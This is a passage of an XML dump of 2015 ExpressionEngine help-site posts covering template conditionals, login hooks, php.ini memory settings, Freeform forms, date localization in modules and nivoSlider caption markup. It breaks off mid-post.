  <row Id="31290" PostTypeId="2" ParentId="21366" CreationDate="2015-05-04T09:57:29.847" Score="0" Body="&lt;p&gt;Shine PDF no longer appears to work as of EE 2.9.2. For a simple free replacement resource I'd recommend PrintFriendy, &lt;a href=&quot;https://devot-ee.com/add-ons/printfriendly&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/printfriendly&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2015-05-04T09:57:29.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31291" PostTypeId="2" ParentId="31288" CreationDate="2015-05-04T13:21:07.457" Score="3" Body="&lt;p&gt;Umm&#xA;index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * --------------------------------------------------------------------&#xA; *  Error Reporting&#xA; * --------------------------------------------------------------------&#xA; *&#xA; * PHP and database errors are normally displayed dynamically based&#xA; * on the authorization level of each user accessing your site.  &#xA; * This variable allows the error reporting system to be overridden, &#xA; * which can be useful for low level debugging during site development, &#xA; * since errors happening before a user is authenticated will not normally &#xA; * be shown.  Options:&#xA; *&#xA; *  $debug = 0;  Default setting. Errors shown based on authorization level&#xA; *&#xA; *  $debug = 1;  All errors shown regardless of authorization&#xA; *&#xA; * NOTE: Enabling this override can have security implications.&#xA; * Enable it only if you have a good reason to.&#xA; * &#xA; */&#xA;    $debug = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="315" LastEditorUserId="1326" LastEditDate="2015-05-04T13:50:21.660" LastActivityDate="2015-05-04T13:50:21.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31292" PostTypeId="2" ParentId="31286" CreationDate="2015-05-04T13:36:41.983" Score="1" Body="&lt;p&gt;You probably don't need to use stash in this case, and could test if in the categories within the conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{categories show='51|50|39' limit='1'}yes{/categories}&quot; == &quot;yes&quot;}&#xA;    //then print content1&#xA;{if:else}&#xA;    //print content2&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another variation is to use a &lt;a href=&quot;https://devot-ee.com/search/results?keywords=category%20count&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;category count plugin&lt;/a&gt; in the same way (in place of the native categories tags above).&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2015-05-04T13:36:41.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31293" PostTypeId="2" ParentId="31274" CreationDate="2015-05-04T14:08:13.060" Score="0" Body="&lt;p&gt;No I think creating your extension and hooking that event is the right way forward. This sort of thing is why they put hooks in there after all, do you think that hook will be too late, i.e. after UUID generation?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-04T14:08:13.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31294" PostTypeId="2" ParentId="31274" CreationDate="2015-05-04T15:07:56.020" Score="0" Body="&lt;p&gt;There is no way to override the built-in key generation. I would recommend turning it off in the settings (by leaving the License Number field mapping empty in the Purchased Items channel). And then using the &lt;code&gt;cartthrob_on_authorize&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach (ee()-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;order('purchased_items') as $entry_id) {&#xA;    // generate your own license key&#xA;    //$key = ?&#xA;&#xA;    // save the key to the DB, where XXX is your Purchased Items' license number field ID&#xA;    ee()-&amp;gt;db-&amp;gt;update('channel_data', array('field_id_XXX' =&amp;gt; $key), array('entry_id' =&amp;gt; $entry_id));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2015-05-04T15:07:56.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31295" PostTypeId="1" CreationDate="2015-05-04T17:45:20.430" Score="0" ViewCount="27" Body="&lt;p&gt;I am not new to expression engine but the question i have returns no answers in google. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@ the time of successful login&#xA; - do something outside of expression engine (various external requirements)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally i would like to add an include/function(php/sql) at the right place to run at the time of successful login each new login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could achieve this by &lt;code&gt;if {logged_in}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is not really the solution i had hoped for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a place where i can add to the login-complete part of expression engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, where is it / is there documentation for this?&lt;/p&gt;&#xA;" OwnerUserId="3668" LastActivityDate="2015-05-04T18:01:46.993" Title="Adding an action to happen at Login" Tags="|php|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31296" PostTypeId="2" ParentId="31295" CreationDate="2015-05-04T18:01:46.993" Score="1" Body="&lt;p&gt;I think you are looking for the session_start hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/session/index.html#id2&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/session/index.html#id2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1684" LastActivityDate="2015-05-04T18:01:46.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31297" PostTypeId="2" ParentId="31289" CreationDate="2015-05-04T18:03:47.480" Score="0" Body="&lt;p&gt;A solution but not always an option based on who your hosting provider/server is is to manually set a &lt;code&gt;php.ini&lt;/code&gt; file on your server dir. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many cases this can work to manually override default settings set by the host. With some cloud hosting solutions though they will often restrict the override function of manually made php.ini files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of what to begin with for your php.ini&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;memory_limit = 512M //change this value in mb to suit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/ini.php&quot; rel=&quot;nofollow&quot;&gt;PHP ini Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3668" LastActivityDate="2015-05-04T18:03:47.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31298" PostTypeId="1" CreationDate="2015-05-04T18:21:40.717" Score="1" ViewCount="159" Body="&lt;p&gt;So I'm working on a module that requires it's own tab in the EE Control Panel edit/publish pages. One of the fields in the module's tab is a date picker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the module saving the date to my module's DB as well as repopulating the date when editing an entry. However I'm not sure what to do with the &quot;Localized/Fixed&quot; dropdown that appears after the date picker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I save and repopulate whether the user has selected &quot;Localized&quot; or &quot;Fixed&quot;?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6272" LastActivityDate="2016-06-17T13:39:50.420" Title="Dealing with Localized/Fixed Dates in EE Module" Tags="|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31299" PostTypeId="1" AcceptedAnswerId="31301" CreationDate="2015-05-04T18:32:32.150" Score="1" ViewCount="160" Body="&lt;p&gt;I am going to setup a Freeform Pro form on a website to replace a downloadable PDF form. The user will still need to print the form results off, so after a user fills out the large form and submits I want to display the results on a page or in a popup window that the user can then print. But I don't want that page to be accessible to the general public, so maybe it has a obfuscated URL that is time-sensitive or something. Any ideas about how to do this? Thanks for any info!&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2015-05-04T19:54:06.887" Title="Freeform Pro - display form results for user to print after submission" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31300" PostTypeId="2" ParentId="30742" CreationDate="2015-05-04T19:23:57.277" Score="1" Body="&lt;p&gt;This is a pretty simple hack if you're interested in this functionality.  You can add your &lt;code&gt;confirm()&lt;/code&gt; JavaScript to (in Assets 2.3.2) lines 791 (for folder confirmation) and 1057 (for file confirmation) in expressionengine/themes/third_party/assets/scripts/assets.js.  Then, minimize assets.js to assets.min.js to apply the changes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@@ -788,8 +788,8 @@&#xA;                    $('&amp;gt; a.assets-fm-expanded + ul', this.folderDrag.$draggee).show();&#xA;&#xA;                     // Only move if we have a valid target and we're not trying to move into our direct parent&#xA;-                   if (&#xA;-                        this.folderDrag.$activeDropTarget&#xA;+                   if (confirm('Are you sure you want to move the selected folder(s)?')&#xA;+                        &amp;amp;&amp;amp; this.folderDrag.$activeDropTarget&#xA;                         &amp;amp;&amp;amp; this.folderDrag.$activeDropTarget.siblings('ul').find('&amp;gt;li').filter(this.folderDrag.$draggee).length == 0)&#xA;                    {&#xA;&#xA;@@ -1054,7 +1054,8 @@&#xA;&#xA;                onDragStop: $.proxy(function()&#xA;                {&#xA;-                   if (this.fileDrag.$activeDropTarget)&#xA;+                   if (confirm('Are you sure you want to move the selected file(s)?')&#xA;+                        &amp;amp;&amp;amp; this.fileDrag.$activeDropTarget)&#xA;                    {&#xA;                        // keep it selected&#xA;                        this.fileDrag.$activeDropTarget.addClass('assets-selected');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2766" LastActivityDate="2015-05-04T19:23:57.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31301" PostTypeId="2" ParentId="31299" CreationDate="2015-05-04T19:54:06.887" Score="3" Body="&lt;p&gt;The more recent versions of EE (I think &gt; 2.7) use &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross-site_request_forgery&quot; rel=&quot;nofollow&quot;&gt;CSRF&lt;/a&gt; in their forms by default so you automatically get a time sensitive submitted page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to be more explicit and if the above doesn't work for you (i.e. earlier version of EE), I would add a hidden form field (which Freeform allows) and auto-populate it with a unique value - either a timestamp (epoch seconds) or md5 hash - both of these are standard features in PHP. Then the results page just queries the form entries using that unique identifier in the URL. If you use a timestamp you can make access to the submitted form data even tighter by using the value and adding, say 3600 (1 hour in seconds) after which time the view to the submitted form expires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastActivityDate="2015-05-04T19:54:06.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31302" PostTypeId="2" ParentId="31298" CreationDate="2015-05-04T20:54:03.507" Score="0" Body="&lt;p&gt;The built-in &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/localization.html&quot; rel=&quot;nofollow&quot;&gt;Localize class&lt;/a&gt; documentation will help you here. It is used like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;localize-&amp;gt;now&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take a look at your EE source code in many of the core files - one example is the &lt;code&gt;libraries/Template.php&lt;/code&gt; file - you will see lots of usage of the line of code above. EE handles this internally so you most likely don't need to worry about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1: Look at the EE source code for the date fieldtype&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the following file &lt;code&gt;fieldtypes/date/ft.date.php&lt;/code&gt; that will show you how to use the Localize class. You need to modify the &lt;code&gt;$data&lt;/code&gt; array that is saved. Look at the following methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;save&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;grid_save:&lt;/strong&gt; Look for the &lt;code&gt;$this-&amp;gt;settings['localize'] !== TRUE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;display_field:&lt;/strong&gt; That shows you how to pull the localized string (if set)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;grid_display_settings:&lt;/strong&gt; Look for the &lt;code&gt;$data['localize']&lt;/code&gt; var&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is a concrete example of exactly what you are trying to do (based on your question). You might want to just &lt;em&gt;subclass&lt;/em&gt; the Date fieldtype and add your own customizations where needed - that way your plugin will stay in-line with the Ellis Lab development of the Date field (i.e. future proof it to some degree). Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastEditorUserId="2608" LastEditDate="2015-05-04T22:49:33.330" LastActivityDate="2015-05-04T22:49:33.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31304" PostTypeId="1" CreationDate="2015-05-04T22:05:06.540" Score="0" ViewCount="102" Body="&lt;p&gt;I have a scenario where I need to access conditionals that work in the {exp:calendar:events} tag, eg this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events}&#xA;    {title} {if event_never_ends}(never ends){/if}&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I need them to work within the {exp:calendar:cal} in order to maintain the chronological order.  I though the {events} variable pair was supposed to allow the same conditionals/variable pairs, but this doesn't work (nor does the {rules} variable pair.  Is there a special syntax or something I need to use to get something like this to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal}&#xA;  {events}&#xA;    {event_title} {if event_never_ends}(never ends){/if}&#xA;  {/events}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3113" LastActivityDate="2016-05-31T06:44:12.520" Title="{events} variable pair within {exp:calendar:cal} not working the same as in {exp:calendar:events}?" Tags="|solspace-calendar|calendar-events|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31305" PostTypeId="1" AcceptedAnswerId="31307" CreationDate="2015-05-05T06:19:41.833" Score="0" ViewCount="59" Body="&lt;p&gt;in my project i have a products list page and when you click on each product you see the single project page, i have this structure in many projects and working fine, but in this project the single product page displays only when i'm logged in, very weird. i checked admin panel and couldn't find any option for template login or logout permission.&#xA;my project list url is &lt;code&gt;mysite.com/projects&lt;/code&gt; and my single project page is &lt;code&gt;mysite.com/project/project-1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i don't know what's the problem.&lt;/p&gt;&#xA;" OwnerUserId="6251" LastActivityDate="2015-05-05T12:17:33.710" Title="expressionengine does not display template page when logged out" Tags="|templates|login|ee|logout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31306" PostTypeId="1" AcceptedAnswerId="31309" CreationDate="2015-05-05T08:38:43.567" Score="0" ViewCount="156" Body="&lt;p&gt;I encountered this bug in a clean install of EE2.9.3, using MSM.&#xA;I commented out the $.ee_filemanager.toggle_all in 'themes/compressed/cp/files/file_manager_home.js'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug? Or something I did wrong during installation?&lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2015-05-05T12:25:26.653" Title="Uncaught TypeError: $.ee_filemanager.toggle_all is not a function" Tags="|ee2|file-manager|bug|ee2.9.3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31307" PostTypeId="2" ParentId="31305" CreationDate="2015-05-05T12:17:33.710" Score="0" Body="&lt;p&gt;Can you check your Template &lt;strong&gt;Access&lt;/strong&gt; permissions? These are documented in detail here : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/design/templates/edit_template.html#access&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/cp/design/templates/edit_template.html#access&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, perhaps you can confirm what version of EE you are running?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I note from your URL's you are using Freindly URL's, not a problem but can you confirm your routing settings for the single product pages? Also, the state of your Strict URL settings in EE please?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-05T12:17:33.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31309" PostTypeId="2" ParentId="31306" CreationDate="2015-05-05T12:25:26.653" Score="2" Body="&lt;p&gt;This was a bug, and was fixed in 2.10: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20866/javascript-error-in-cp-file-manager&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20866/javascript-error-in-cp-file-manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-05T12:25:26.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31310" PostTypeId="1" CreationDate="2015-05-05T15:08:48.733" Score="0" ViewCount="660" Body="&lt;p&gt;I'm trying to understand how to create a new off site payment gateway for &lt;a href=&quot;https://www.gestpay.it/gestpay/doc/specifiche-tecniche/starter/gestpay_technical_specifications_paymentpage.pdf&quot; rel=&quot;nofollow&quot;&gt;Gestpay (Italy premiere Payment Gateway from banca Sella)&lt;/a&gt; in expresso store using omnipay library but I really need some guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I've understand that I need to make an extension and I've seen the skeleton &lt;a href=&quot;https://github.com/expressodev/store_check&quot; rel=&quot;nofollow&quot;&gt;store_check&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I've read the &quot;skinny&quot; &lt;a href=&quot;http://omnipay.thephpleague.com/gateways/build-your-own/&quot; rel=&quot;nofollow&quot;&gt;Build you own gateway&lt;/a&gt; on the omnipay website and the only thing I've understood is to look in the existing packages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) I've looked in the existing packages and I've understand that I need a gateway.php that extends AbstractGateway and in that class I need to put needed parameters plus getters/setters and also the &quot;charging&quot; functions purchase() and completepurchase().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;here my understanding starts to fail...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.1) Ok to the parameters and getters/setters those are the parameters that are editable on Store Payment method configuration page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;next there are some methods defined and I understand that purchase() function defines what to do to autorize and capture and that I need a completepurchase() function to handle return from of-site gateway&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but next those &quot;official&quot; methods there are other functions in those gateways: for example fetchPaymentmethods() or fetchTransaction() etc etc that are not defined in the omnipay docs...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I really don't understand if the &quot;standardization&quot; of omnipay is just to have purchase() and completepurchase() and than I can define any other method that I want/need&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But also I don't understand who and where those fetch functions are being called &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please HELP!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IMPORTANT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also found &lt;a href=&quot;https://github.com/asterixcapri/gestpaycrypt-php&quot; rel=&quot;nofollow&quot;&gt;this GitHub repo&lt;/a&gt; with all the code needed to make payments with gestpay but haven' managed to understand how to integrate it with omnipay (saddly a very good library with VERY POOR documentation)&lt;/p&gt;&#xA;" OwnerUserId="1130" LastEditorUserId="1130" LastEditDate="2015-05-06T11:19:50.433" LastActivityDate="2015-05-06T13:49:02.763" Title="Help on custom gateway for expresso store with omnipay" Tags="|expresso-store|omnipay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31311" PostTypeId="1" CreationDate="2015-05-05T15:11:53.877" Score="0" ViewCount="177" Body="&lt;p&gt;Is there a way to refresh the Captacha value without having to reload the page? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-05-06T13:14:48.990" Title="Is there a way to &quot;Refresh&quot; Captcha?" Tags="|captcha|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31312" PostTypeId="1" AcceptedAnswerId="31319" CreationDate="2015-05-05T15:19:55.910" Score="1" ViewCount="174" Body="&lt;p&gt;I'm using the multi-page function of Freeform Pro for the first time and I have a couple questions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;is it possible to have a &quot;back to page X&quot; button on other pages of the form that sends someone back to a previous page in the form? If I do it manually, it will take me to that page, but the data previously entered into the fields is gone. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;most of the fields in the form will be required. I setup inline errors and left a field empty to test. The page refreshed and displayed the error successfully, but I lost all the field date previously entered. Can the inline errors be displayed without removing all the data from fields, or will i have to rely on some JS error detection?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="603" LastActivityDate="2015-05-07T12:17:36.883" Title="couple Solspace Freeform multi-page form questions" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31313" PostTypeId="1" AcceptedAnswerId="31314" CreationDate="2015-05-05T15:59:54.307" Score="0" ViewCount="119" Body="&lt;p&gt;I have a channel named Projects, and within that channel i have a 'channel images' field (p_feature). It allow the user to upload one image, and if they do so that image will appear on the Home page as part of a carousel slider. ..So a 'feature' image is not uploaded for every Project entry, but only the ones the user wants featured on the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is how the html looks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;slider-wrapper theme-default&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;ribbon&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA; &amp;lt;div id=&quot;slider&quot; class=&quot;nivoSlider&quot;&amp;gt;&#xA;  &amp;lt;img src=&quot;1.jpg&quot; data-thumb=&quot;1.jpg&quot; alt=&quot;&quot; title=&quot;#htmlcaption1&quot;  /&amp;gt;&#xA;  &amp;lt;img src=&quot;2.jpg&quot; data-thumb=&quot;2.jpg&quot; alt=&quot;&quot; title=&quot;#htmlcaption2&quot;  /&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&#xA; &amp;lt;div id=&quot;htmlcaption1&quot; class=&quot;nivo-html-caption&quot;&amp;gt;Title 1 &amp;lt;a href=&quot;#&quot;&amp;gt;Link 1&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA; &amp;lt;div id=&quot;htmlcaption2&quot; class=&quot;nivo-html-caption&quot;&amp;gt;Title 2 &amp;lt;a href=&quot;#&quot;&amp;gt;Link 2&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Captions appear below the slider div, and also link to the Project.&lt;br&gt;&#xA;So my code produces the image, but i'm not sure how to produce the caption (project title &amp;amp; url) that relates to the feature image uploaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus because the captions (have to) appear outside of the slider div, do i have to open the channel entries tag again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;slider-wrapper theme-default&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;ribbon&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;slider&quot; class=&quot;nivoSlider&quot;&amp;gt;&#xA; {exp:channel:entries channel=&quot;project&quot;}&#xA;    {if p_feature}&#xA;    {exp:channel_images:images channel=&quot;project&quot; entry_id=&quot;{entry_id}&quot;}&#xA;      &amp;lt;img src=&quot;{image:url:carousel}&quot; data-thumb=&quot;{image:url:carousel}&quot; alt=&quot;&quot; title=&quot;#htmlcaption{entry_id}&quot; /&amp;gt;&#xA;    {/exp:channel_images:images}&#xA;    {/if}&#xA; {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA; {exp:channel:entries channel=&quot;project&quot;}&#xA;  {if p_feature}&#xA;    {exp:channel_images:images channel=&quot;project&quot; entry_id=&quot;{entry_id}&quot;}&#xA;        &amp;lt;div id=&quot;htmlcaption{entry_id}&quot; class=&quot;nivo-html-caption&quot;&amp;gt;{title} &amp;lt;a href=&quot;/projects/{url_title}&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {/exp:channel_images:images}&#xA;  {/if}&#xA; {/exp:channel:entries}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Plus is there a way to 'automatically' add ascending numbers? I would need that for the #htmlcaption1, #htmlcaption2, #htmlcaption3 etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;UPDATE: Code has been updated with working solution.&lt;/p&gt;&#xA;" OwnerUserId="2794" LastEditorUserId="2794" LastEditDate="2015-05-05T19:31:11.870" LastActivityDate="2015-05-05T19:31:11.870" Title="Display entry title related to (channel images) image if exists" Tags="|conditionals|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31314" PostTypeId="2" ParentId="31313" CreationDate="2015-05-05T17:58:03.080" Score="1" Body="&lt;p&gt;Yup, that's the way. I hope someone can post a better answer, but I have nivoSlider live on several sites, and here is my implemented code off of one of them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;slider-wrapper theme-light&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;ribbon&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div style=&quot;width: 100%;&quot; class=&quot;nivoSlider&quot; id=&quot;slider&quot; style=&quot;overflow: hidden&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;homepage_slider&quot;}&#xA;            {if link}&#xA;                &amp;lt;a href=&quot;{link}&quot;&#xA;                    {if target}&#xA;                        target=&quot;_self&quot;&#xA;                    {if:else}&#xA;                        target=&quot;_blank&quot;&#xA;                    {/if}&#xA;                    &amp;gt;&#xA;                    &amp;lt;img src=&quot;{image}&quot; title=&quot;#nivo_htmlcaption{entry_id}&quot;/&amp;gt;    &#xA;                &amp;lt;/a&amp;gt;&#xA;            {if:else}&#xA;                    &amp;lt;img src=&quot;{image}&quot; title=&quot;#nivo_htmlcaption{entry_id}&quot;/&amp;gt;&#xA;            {/if}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {exp:channel:entries channel=&quot;homepage_slider&quot;}&#xA;    &amp;lt;div id=&quot;nivo_htmlcaption{entry_id}&quot; class=&quot;nivo-html-caption &quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;nivo-html-caption-headline slider-title&quot;&amp;gt;&#xA;            {if link}&#xA;                &amp;lt;a href=&quot;{link}&quot;&#xA;                    {if target}&#xA;                        target=&quot;_self&quot;&#xA;                    {if:else}&#xA;                        target=&quot;_blank&quot;&#xA;                    {/if}&#xA;                    &amp;gt;&#xA;            {/if}&#xA;            {headline}&#xA;            {if link}&#xA;                &amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;nivo-html-caption-subtitle slider-subtitle&quot;&amp;gt;&#xA;            {if link}&#xA;                &amp;lt;a href=&quot;{link}&quot;&#xA;                    {if target}&#xA;                        target=&quot;_self&quot;&#xA;                    {if:else}&#xA;                        target=&quot;_blank&quot;&#xA;                    {/if}&#xA;                    &amp;gt;&#xA;            {/if}&#xA;            {subtitle}&#xA;            {if link}&#xA;                &amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {if link}&#xA;        &amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's basically what you already thought of. Two channel entry loops really doesn't cause a huge performance hit. Complicated parsing does but that isn't a big deal (especially if you use something like CE-Cache or CloudFlare, which you should if it's a heavy site with a lot of hits). As for ID's, just wing the entry_id tag like I did, since it's unique anyways!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a broken way to do that conditional, friend. Do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if p_feature}&#xA;    &amp;lt;div&amp;gt;{p_feature} goes 